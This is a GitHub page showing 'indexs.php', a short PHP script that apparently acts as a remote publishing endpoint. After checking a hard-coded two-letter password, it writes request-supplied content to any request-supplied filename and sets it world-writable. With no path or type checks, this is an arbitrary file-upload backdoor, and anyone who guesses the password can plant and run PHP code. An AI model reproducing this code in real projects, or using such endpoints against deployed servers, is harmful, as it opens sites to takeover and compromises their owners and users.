-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathindexs.php
More file actions
39 lines (34 loc) · 696 Bytes
/
indexs.php
File metadata and controls
39 lines (34 loc) · 696 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(E_ERROR);
//set_time_limit(0);
//header("Content-Type: text/html; charset=utf-8");
$system_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);
if($password!=$system_password)
{
echo 'password error';
return;
}
if($action=="test")
{
echo 'test success';
return;
}
$wjj=dirname(__FILE__);
if(!file_exists($wjj))
{
mkdir($wjj,0777);
}
$fp=fopen($filename,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,"\xEF\xBB\xBF".$body);
fclose($fp);
if(file_exists($filename))
{
chmod($filename,0777);
}
echo "publish success";
?>